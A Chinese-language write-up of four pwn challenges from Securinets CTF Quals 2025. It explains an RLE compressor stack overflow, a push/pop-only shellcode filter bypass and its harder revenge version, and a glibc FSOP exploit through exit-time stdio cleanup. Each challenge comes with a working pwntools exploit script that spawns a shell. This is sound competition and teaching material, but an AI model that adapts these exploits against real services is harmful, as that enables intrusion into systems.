┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Securinets CTF Quals 2025
~ CuB3y0nd
# zip++

## Information

- Category: Pwn
- Points: 500

## Description

> why isn't my compressor compressing ?!

## Write-up

问 AI,得知 `compress` 函数实现了一个 `RLE (Run-Length Encoding)` 压缩算法,压缩
后格式为 `[字节 1][重复次数 1][字节 2][重复次数 2]...`,因此如果我们输入交替字符
就会导致压缩率很差,溢出返回地址。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./main"
HOST, PORT = "pwn-14caf623.p1.securinets.tn", 9000

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"AB" * 0xC6,
        b"xa6" * 0x11,
    )
    raw_input("DEBUG")
    target.sendafter(b"data to compress :", payload)
    raw_input("DEBUG")
    target.sendline(b"exit")

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`Securinets{my_zip_doesnt_zip}`]

# push pull pops

## Information

- Category: Pwn
- Points: 500

## Description

> Shellcoding in the big 25 😱

## Write-up

有意思,第一次见 python 写的 pwn 题,这题只允许使用 `push`, `pop` 和 `int 3` 指
令,但是测试发现非法指令会导致 capstone 直接返回 `None`,使得后面的指令不会被检
查。所以我们只要把 shellcode 写到非法指令后面即可。

祭出指令表:[X86 Opcode and Instruction Reference Home](http://ref.x86asm.net/co
der64.html)

但是有个问题是,从 mmap 分配的地址开始执行,必定会碰到我们的非法指令,然后就会 a
bort 。这里的解决方法也很简单,因为我们可以操作栈,那么,我们只要把 `rsp` 变成 m
map 出来的地址,然后用 `pop` 先提高栈地址,然后再 `push` 降低栈地址的同时,也将
栈上原先的指令覆盖掉了。用什么覆盖?当然是 `nop` 啦~

最后说一下怎么调试,我们只要知道这个 python 脚本的 `pid` 就可以用 `gdb -p <pid>`
 挂载,只要知道 mmap 返回的地址就可以调试 shellcode,还有,善用 `int 3` 也很重要
。

```python ins={14-17}
def run(code: bytes):
    # Allocate executable memory using mmap

    mem = mmap.mmap(
        -1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC
    )
    mem.write(code)

    # Create function pointer and execute
    func = ctypes.CFUNCTYPE(ctypes.c_void_p)(
        ctypes.addressof(ctypes.c_char.from_buffer(mem))
    )

    print(
        f"pid is: {os.getpid()}nmem: {hex(ctypes.addressof(ctypes.c_char.from_bu
ffer(mem)))}"
    )
    input("DEBUG")
    func()

    exit(1)
```

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    b64e,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./main.py"
HOST, PORT = "localhost", 1337

context(log_level="debug", terminal="kitty", arch="amd64")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    payload = asm(
        """
        push r11
        pop rsp

        pop r15
        pop r15
        pop r15
        pop r15

        push r15
        push r15
        push r15
        """
    )

    payload += b"x06" + asm(shellcraft.nop()) * 0xF
    payload += asm("add rsp, 0x100")
    payload += asm(shellcraft.sh())

    target.sendline(b64e(payload))

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`Securinets{push_pop_to_hero}`]

# push pull pops REVENGE

## Information

- Category: Pwn
- Points: 500

## Description

> you aint getting away with it , not on my watch .

## Write-up

这次题目加了输入和解码出来的指令之间的长度检测:

```python
if code_len != decoded:
    print("nice try")
    return False
```

那就把非法指令 ban 掉了,测试使用 semantically equivalent encodings 也没啥用,绕
不开这个长度检测。

最后思路是自己构造一个 `syscall`,然后调用 `read`,这样就可以把 shellcode 读进去
,不被过滤。

官方的 solution 也是构造 `read`,不过官方的 wp 里面,`syscall` 不是自己造的,而
是利用内存中现成的,所以只要操作 `push`,`pop` 到对应内存就能拿到了。而我这里用
的方法就复杂了点,<s>让我们假设内存空间非常贫瘠,寸草不生,根本没有残留的 `sysca
ll`</s>,那能不能凭空造一个出来?

由于这题也是 mmap 了一块 `rwx` 的内存,所以只要我们的内存中有 `syscall` 的机器码
,它就能执行到,我们只要在执行前提前布置好调用 `read` 用到的寄存器即可。

:::caution
由于这道题的特殊性,远程内存环境和本地肯定是大不相同的,因为我们不管是自己造 `sy
scall` 还是找现成的,都对内存环境布局有着极其严格的要求,所以这题必须在 docker 
里跑,本地远程调试。
:::

首先解决一下调试的问题,我们将容器启动后自动执行的指令改一下,挂上 `gdbserver`,
开放 `1234` 端口用于调试:

```dockerfile del={1} ins={2}
CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:/app/run
CMD ["gdbserver", ":1234", "socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:/app
/run"]
```

然后 `docker-compose.yml` 也需要改,开放一下调试端口:

```yaml ins={8}
version: "3.8"

services:
  vertical_tables:
    build: .
    ports:
      - "1304:5000"
      - "1234:1234"
    deploy:
      resources:
        limits:
          cpus: "1"
          memory: 1000M
    read_only: true
    cap_drop:
      - all
    privileged: true
```

现在只要运行 `docker compose up -d` 就把容器跑起来了,然后 exp 直接连接 `1304` 
端口与题目交互。

既然要自己造 `syscall`,那肯定得先搞清楚这玩意儿的机器码是多少,可以这样:

```shellsession
λ ~/ pwn asm -c amd64 "syscall"
0f05
```

那我们只要想办法弄到 `x0f` 和 `x05` 就成功了一半。观察内存,发现有一个现成的 `x0
5`:
虽然也有现成的 `x0f`,但是它行吗?我们可以做一个简单的测试,直接找一片空内存改,
然后看看解析出来是什么指令:
并不是我们期望的 `syscall`,很简单,因为 `amd64` 是小端序的,所以我们不能写 `x0f
`,而是应该写 `0x0f00000000000000`。
至于为啥必须这样?因为我的想法是找一个带 `x0f` 的 `push` or `pop` 指令放在最后,
然后用一堆单字节的 `push` or `pop` 将 `x0f` 卡到第八个字节的位置,最后将事先获取
到的 `x05` 通过 `push` 覆盖掉前面被挤出来的字节,就有了一个 `syscall`。
但是我们怎么保证,这样弄到了 `syscall`,它就一定会执行呢?因为我们不可能跳回到前
面 `syscall` 的地方去执行。这就得益于来自上一题的灵感了,因为如果是非法指令的话
,CPU 会卡在那里不往下走,但是一旦我们将非法指令替换成了合法指令,它就又能继续往
下跑了~

这里选的指令是 `pop fs`,实测 `push fs` 不行。
所以我的 exp 就不难理解了,一开始的 `0x4d` 个 `pop r15` 是为了弄到 `x05`,保存在
 `r15` 里:
然后设置了调用 `read` 用到的几个寄存器,`rax` 不用管,本来就是 `0`,用它设置一下
 `rdi`,然后利用内存中的残留值设置 `rdx`,`rsi` 可以最后栈迁移到 shellcode 的时
候设置。

最后就是栈迁移回 shellcode,通过操作 `push`,`pop` 定位到要覆盖的指令处,最后将 
`x05` 填上去即可。

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    b64e,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
    sleep,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./main.py"
HOST, PORT = "localhost", 1304

context(log_level="debug", terminal="kitty", arch="amd64")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def main():
    launch()

    payload = asm("pop r15") * 0x4D
    payload += asm(
        """
        pop rsp
        pop r15

        push rax
        pop rdi
        """
    )
    payload += asm("pop rbx") * 0x14
    payload += asm("pop rdx")
    payload += asm("push rbx") * 0x1B
    payload += asm(
        """
        push r11
        pop rsi

        push r11
        pop rsp
        """
    )
    payload += asm("pop rbx") * 0x20
    payload += asm("push r15")
    payload += b"x0fxa1"

    target.sendline(b64e(payload))
    target.sendline()

    sc = asm(shellcraft.nop() * 0x150 + shellcraft.sh())
    sleep(1)
    target.sendline(sc)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

复现。

# V-tables

## Information

- Category: Pwn
- Points: 500

## Description

> idk

## Write-up

这题也是复现,当时我还没学 FSOP,所以就直接跳过了……

看了下[官方 wp](https://buddurid.me/2025/10/04/securinets-quals-2025),发现这种
题其实还是有迹可循的。

先看一下 IDA,逻辑特别简单:

```c
void __fastcall setup(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
}

__int64 vuln()
{
  printf("stdout : %pn", stdout);
  read(0, stdout, 0xD8u);
  return 0;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  vuln();
  return 0;
}
```

直接送了 libc 地址,然后可以修改 `stdout` 结构体,但是由于最大只能读 `0xD8` 字节
,也就是正好覆盖整个 `_IO_FILE` 结构体,除了 `vtable` 字段写不到外。那常规的 Hou
se of Apple 就打不了了。

那怎么办?我们没有任何可以利用的地方了吗?未必。

先看一下最终的调用链:
熟悉程序生命周期的话,应该知道 `main` 函数返回其实会自动调用 `exit`,由于我们也
干不了别的事了,那估计多半就是要去分析 `exit` 的流程找利用点了(有种被引导的感觉
)。

[exit](https://sourcegraph.com/github.com/bminor/glibc@release/2.41/master/-/blo
b/stdlib/exit.c?L146:1-146:5) 的实现如下:

```c {4}
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
```

直接跟进到 [__run_exit_handlers](https://sourcegraph.com/github.com/bminor/glibc
@release/2.41/master/-/blob/stdlib/exit.c?L43:1-43:20):

```c collapse={1-98} {102}
/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
       bool run_list_atexit, bool run_dtors)
{
  /* The exit should never return, so there is no need to unlock it.  */
  __libc_lock_lock_recursive (__exit_lock);

  /* First, call the TLS destructors.  */
  if (run_dtors)
    call_function_static_weak (__call_tls_dtors);

  __libc_lock_lock (__exit_funcs_lock);

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;

    restart:
      cur = *listp;

      if (cur == NULL)
 {
   /* Exit processing complete.  We will not allow any more
      atexit/on_exit registrations.  */
   __exit_funcs_done = true;
   break;
 }

      while (cur->idx > 0)
 {
   struct exit_function *const f = &cur->fns[--cur->idx];
   const uint64_t new_exitfn_called = __new_exitfn_called;

   switch (f->flavor)
     {
       void (*atfct) (void);
       void (*onfct) (int status, void *arg);
       void (*cxafct) (void *arg, int status);
       void *arg;

     case ef_free:
     case ef_us:
       break;
     case ef_on:
       onfct = f->func.on.fn;
       arg = f->func.on.arg;
       PTR_DEMANGLE (onfct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       onfct (status, arg);
       __libc_lock_lock (__exit_funcs_lock);
       break;
     case ef_at:
       atfct = f->func.at;
       PTR_DEMANGLE (atfct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       atfct ();
       __libc_lock_lock (__exit_funcs_lock);
       break;
     case ef_cxa:
       /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
   we must mark this function as ef_free.  */
       f->flavor = ef_free;
       cxafct = f->func.cxa.fn;
       arg = f->func.cxa.arg;
       PTR_DEMANGLE (cxafct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       cxafct (arg, status);
       __libc_lock_lock (__exit_funcs_lock);
       break;
     }

   if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
     /* The last exit function, or another thread, has registered
        more exit functions.  Start the loop over.  */
     goto restart;
 }

      *listp = cur->next;
      if (*listp != NULL)
 /* Don't free the last element in the chain, this is the statically
    allocate element.  */
 free (cur);
    }

  __libc_lock_unlock (__exit_funcs_lock);

  if (run_list_atexit)
    call_function_static_weak (_IO_cleanup);

  _exit (status);
}
```

没有注意到什么好玩的东西,除了 [_IO_cleanup](https://sourcegraph.com/github.com/
bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L873:1-873:12) 外,因为它
涉及到 `IO` 操作,可以跟进去看看:

```c {15} ins={"1. Make sure set fp->_flags = 0x8 to bypass _IO_OVERFLOW called 
in": 4} ins={"   this function which modifies _IO_2_1_stdout_ fields": 5-6}
int
_IO_cleanup (void)
{


  int result = _IO_flush_all ();

  /* We currently don't have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they're supposed to be able to do so.

     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();

  return result;
}
```

此时,就涉及到了两个大函数需要分析,一个是 [_IO_flush_all](https://sourcegraph.c
om/github.com/bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L711:1-711:
14) 一个是 [_IO_unbuffer_all](https://sourcegraph.com/github.com/bminor/glibc@fb
4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17)。

我在分析 `_IO_flush_all` 的时候没发现什么特别有意思的地方,但是它可以调用 `_IO_O
VERFLOW`,然后这个函数里可以调用 `_IO_do_write`,于是想到一种方法:利用 `main` 
函数返回自动调用 `_IO_cleanup->_IO_flush_all` flush `_IO_2_1_stdout_` 结构体的时
候,假设我们事先将其 `_IO_write_base` 改成 `_IO_2_1_stdin_` 结构体的地址,由于 s
ize 是通过 `f->_IO_write_ptr - f->_IO_write_base` 计算的,我也可以将其改大,这样
让它触发 `_IO_do_write`,向 `_IO_2_1_stdin_` 写任意大小数据,覆盖它的 `vtable`, 
(由于 `_IO_list_all` 链表的顺序是 `stderr->stdout->stdin`)这样,我 flush 完 `s
tdout` 再去 flush `stdin` 的时候是不是会调用我自定义的 `vtable` 去执行任意操作?

虽然想法很美好,但是我发现,`_IO_do_write (f, f->_IO_write_base, f->_IO_write_pt
r - f->_IO_write_base)->_IO_SYSWRITE (fp, data, to_do)->__write (f->_fileno, dat
a, to_do)`,也就是说,它只能向当前被 flush 的结构体的 `_fileno` 写数据……那这条路
就行不通了。

其实还有一个想法,就是我将 `_chain` 修改为当前结构体 `+0x8` 的地址,这样就伪造了
下一个被刷新的结构体,因为 `+0x8`,所以我们也就控制了 `vtable`,但是我们没有 `_f
lags` 的控制权,不知道行不行,只是一个潜在可行的想法,以后可以试试能不能打。

继续看下面的 [_IO_unbuffer_all](https://sourcegraph.com/github.com/bminor/glibc@
fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17) 了
,看看能不能有什么发现:

```c {43} ins={"2. We just need bypass fp->_mode != 0 here": 29-32} collapse={1-
25, 36-39, 47-62}
static void
_IO_unbuffer_all (void)
{
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain)
    {
      int legacy = 0;

      run_fp = fp;
      _IO_flockfile (fp);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
      if (__glibc_unlikely (_IO_vtable_offset (fp) != 0))
 legacy = 1;
#endif

      /* Free up the backup area if it was ever allocated.  */
      if (_IO_have_backup (fp))
 _IO_free_backup_area (fp);
      if (!legacy && fp->_mode > 0 && _IO_have_wbackup (fp))
 _IO_free_wbackup_area (fp);


      if (! (fp->_flags & _IO_UNBUFFERED)
   /* Iff stream is un-orientated, it wasn't used. */
   && (legacy || fp->_mode != 0))
 {
   if (! legacy && ! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
     {
       fp->_flags |= _IO_USER_BUF;

       fp->_freeres_list = freeres_list;
       freeres_list = fp;
       fp->_freeres_buf = fp->_IO_buf_base;
     }

   _IO_SETBUF (fp, NULL, 0);

   if (! legacy && fp->_mode > 0)
     _IO_wsetb (fp, NULL, NULL, 0);
 }

      /* Make sure that never again the wide char functions can be
  used.  */
      if (! legacy)
 fp->_mode = -1;

      _IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
}
```

注意到沿着 [_IO_SETBUF](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a
04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L477:1-477:19) 往下走的话
会有一个好玩的东西:

```c {4}
FILE *
_IO_default_setbuf (FILE *fp, char *p, ssize_t len)
{
    if (_IO_SYNC (fp) == EOF)
 return NULL;
    if (p == NULL || len == 0)
      {
 fp->_flags |= _IO_UNBUFFERED;
 _IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);
      }
    else
      {
 fp->_flags &= ~_IO_UNBUFFERED;
 _IO_setb (fp, p, p+len, 0);
      }
    fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = NULL;
    fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = NULL;
    return fp;
}
```

藏在 [_IO_SYNC](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96
cd1fbb7e02eb59323b1f2ac2/-/blob/libio/fileops.c?L793:1-793:18) 里面:

```c {10} ins={"3. Make sure fp->_IO_write_ptr > fp->_IO_write_base": 7-9}
int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;


  /*    char* ptr = cur_ptr(); */
  if (fp->_IO_write_ptr > fp->_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;
  delta = fp->_IO_read_ptr - fp->_IO_read_end;
  if (delta != 0)
    {
      off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
      if (new_pos != (off64_t) EOF)
 fp->_IO_read_end = fp->_IO_read_ptr;
      else if (errno == ESPIPE)
 ; /* Ignore error from unseekable devices. */
      else
 retval = EOF;
    }
  if (retval != EOF)
    fp->_offset = _IO_pos_BAD;
  /* FIXME: Cleanup - can this be shared? */
  /*    setg(base(), ptr, ptr); */
  return retval;
}
libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)
```

然后走 [_IO_do_flush](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04
ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L562:9-562:21),由于之前已
经将 `mode` 改为了 `1`,所以这里会执行 [_IO_wdo_write](https://sourcegraph.com/g
ithub.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfi
leops.c?L38:1-38:14),而这,也是我们所期望的。

```c {5-7}
#define _IO_do_flush(_f)                                        
  ((_f)->_mode <= 0                                             
   ? _IO_do_write(_f, (_f)->_IO_write_base,                     
    (_f)->_IO_write_ptr-(_f)->_IO_write_base)                   
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,        
     ((_f)->_wide_data->_IO_write_ptr                           
      - (_f)->_wide_data->_IO_write_base)))
```

走到 [_IO_wdo_write](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04a
d6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfileops.c?L38:1-38:14) 就差不多快结
束了。

```c del={42-46} ins={"4. We need enter this conditional statement, which requir
es": 8} ins={"   ((_f)->_wide_data->_IO_write_ptr - (_f)->_wide_data->_IO_write_
base)) > 0": 9-10} collapse={14-38, 50-76}
/* Convert TO_DO wide character from DATA to FP.
   Then mark FP as having empty buffers. */
int
_IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do)
{
  struct _IO_codecvt *cc = fp->_codecvt;



  if (to_do > 0)
    {
      if (fp->_IO_write_end == fp->_IO_write_ptr
   && fp->_IO_write_end != fp->_IO_write_base)
 {
   if (_IO_new_do_write (fp, fp->_IO_write_base,
    fp->_IO_write_ptr - fp->_IO_write_base) == EOF)
     return WEOF;
 }

      do
 {
   enum __codecvt_result result;
   const wchar_t *new_data;
   char mb_buf[MB_LEN_MAX];
   char *write_base, *write_ptr, *buf_end;

   if (fp->_IO_buf_end - fp->_IO_write_ptr < sizeof (mb_buf))
     {
       /* Make sure we have room for at least one multibyte
   character.  */
       write_ptr = write_base = mb_buf;
       buf_end = mb_buf + sizeof (mb_buf);
     }
   else
     {
       write_ptr = fp->_IO_write_ptr;
       write_base = fp->_IO_write_base;
       buf_end = fp->_IO_buf_end;
     }

   /* Now convert from the internal format into the external buffer.  */
   result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state,
     data, data + to_do, &new_data,
     write_ptr,
     buf_end,
     &write_ptr);

   /* Write out what we produced so far.  */
   if (_IO_new_do_write (fp, write_base, write_ptr - write_base) == EOF)
     /* Something went wrong.  */
     return WEOF;

   to_do -= new_data - data;

   /* Next see whether we had problems during the conversion.  If yes,
      we cannot go on.  */
   if (result != __codecvt_ok
       && (result != __codecvt_partial || new_data - data == 0))
     break;

   data = new_data;
 }
      while (to_do > 0);
    }

  _IO_wsetg (fp, fp->_wide_data->_IO_buf_base, fp->_wide_data->_IO_buf_base,
      fp->_wide_data->_IO_buf_base);
  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
    = fp->_wide_data->_IO_buf_base;
  fp->_wide_data->_IO_write_end = ((fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)
)
       ? fp->_wide_data->_IO_buf_base
       : fp->_wide_data->_IO_buf_end);

  return to_do == 0 ? 0 : WEOF;
}
libc_hidden_def (_IO_wdo_write)
```

我们发现下面这个 [DL_CALL_FCT](https://sourcegraph.com/github.com/MisterTea/Hype
rNEAT@516fef725621991ee709eb9b4afe40e0ce82640d/-/blob/NE/HyperNEAT/Hypercube_NEA
T/include/Experiments/HCUBE_cliche.h?L59:9-59:20) 其实是一个函数调用,而这个函数
指针和参数我们都可以通过 overlapping 结构体来伪造。

虽然理想的情况是,令 `gs` 为 `/bin/sh` 指针,另 `__fct` 为 `system`,但是实际调
试发现,但凡我们控制其中任意一个,另一个就无法控制了(控制 `/bin/sh` 的话就不能
绕过 `PTR_DEMANGLE (fct)`,绕过 `PTR_DEMANGLE (fct)` 的话就不能控制 `/bin/sh`,
而这一切都是因为它汇编层使用的寄存器是 `r15`,这个可以自己去调试,我不想再都截一
遍图了,老实说有点恶心……)。由于任意代码执行的重要性更大,所以我选择控制 `__fct`
,`/bin/sh` 则通过 `add rdi, 0x10; jmp rcx` 这个 gadget 控制。

```c del={1, 26-29} del={"5. Make sure codecvt->__cd_out.step = b'/bin/shx00'": 
11-12} del={"6. Make sure gs->__fct = system": 21-22} collapse={33-52}
#define DL_CALL_FCT(fctp, args) (fctp) args

enum __codecvt_result
__libio_codecvt_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
       const wchar_t *from_start, const wchar_t *from_end,
       const wchar_t **from_stop, char *to_start, char *to_end,
       char **to_stop)
{
  enum __codecvt_result result;


  struct __gconv_step *gs = codecvt->__cd_out.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt->__cd_out.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_out.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_out.step_data.__statep = statep;


  __gconv_fct fct = gs->__fct;
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);

  status = DL_CALL_FCT (fct,
   (gs, &codecvt->__cd_out.step_data, &from_start_copy,
    (const unsigned char *) from_end, NULL,
    &dummy, 0, 0));

  *from_stop = (wchar_t *) from_start_copy;
  *to_stop = (char *) codecvt->__cd_out.step_data.__outbuf;

  switch (status)
    {
    case __GCONV_OK:
    case __GCONV_EMPTY_INPUT:
      result = __codecvt_ok;
      break;

    case __GCONV_FULL_OUTPUT:
    case __GCONV_INCOMPLETE_INPUT:
      result = __codecvt_partial;
      break;

    default:
      result = __codecvt_error;
      break;
    }

  return result;
}
```

那现在问题就变成了,如何控制 `rcx` 指向 `system`?调试发现,`rcx` 的计算过程是可
逆的,并且可以控制为任意值。具体流程,需要从 `jmp rcx` 开始反向溯源,看它是怎么
得来的。最终发现,源头来自执行 [_IO_wdo_write](https://sourcegraph.com/github.co
m/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L5
66) 时的 `lea rcx, [r12 + r13*4]`,`rcx` 从这里被设置后直到执行 `__fct` 都没有被
修改过。
观察这条指令,我们不难想到,控制 `rcx` 要么就是令 `r12 = system, r13 = 0`,要么
就是令 `r12 = 0, r13 = system // 4`。继续溯源 `r12` 发现,它是 `rsi`,即 `(_f)->
_wide_data->_IO_write_base`。由于后面 overlapping 结构体的时候我用到了这个字段,
所以我选择了令 `r13 = system // 4`,而 `r13` 也是可控的,为 `rdx`,即 `(_f)->_wi
de_data->_IO_write_ptr - (_f)->_wide_data->_IO_write_base`。

但是直接这样设置发现,并没有得到 `system`,于是我们继续往上溯源,看一下 `rsi` 和
 `rdx` 到底是怎么传入的,发现,`rdx` 其实是被动过手脚的……
但很显然这是一个可逆计算,YAAAY~

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    ROP,
    FileStructure,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()


FILE = "./main_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc
rop = ROP(libc)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.local:
        if args.gdb and "qemu" in argv[0]:
            if "-g" not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, "-g")
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"stdout : ")
    stdout = int(target.recvline(), 16)
    libc.address = stdout - libc.sym["_IO_2_1_stdout_"]
    add_rdi_0x10_jmp_rcx = libc.address + 0x000000000017D690
    system = libc.sym["system"]

    fp = FileStructure(null=stdout + 0x1260)
    fp.flags = 0x8
    fp.unknown2 = flat(
        {
            0x18: 0x1,  # fp->_mode
        },
        filler=b"x00",
    )
    fp._IO_write_ptr = 1
    fp._IO_write_base = 0
    fp._wide_data = stdout - 0x8
    fp._codecvt = stdout + 0x28  # codecvt
    fp._IO_save_end = stdout + 0x8
    fp._IO_read_base = system // 0x4 << 0x2  # rdx
    fp.markers = stdout + 0x20  # gs->__shlib_handle
    fp._IO_save_base = add_rdi_0x10_jmp_rcx  # gs->__fct
    fp._IO_write_end = b"/bin/shx00"

    raw_input("DEBUG")
    target.send(bytes(fp))

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

复现。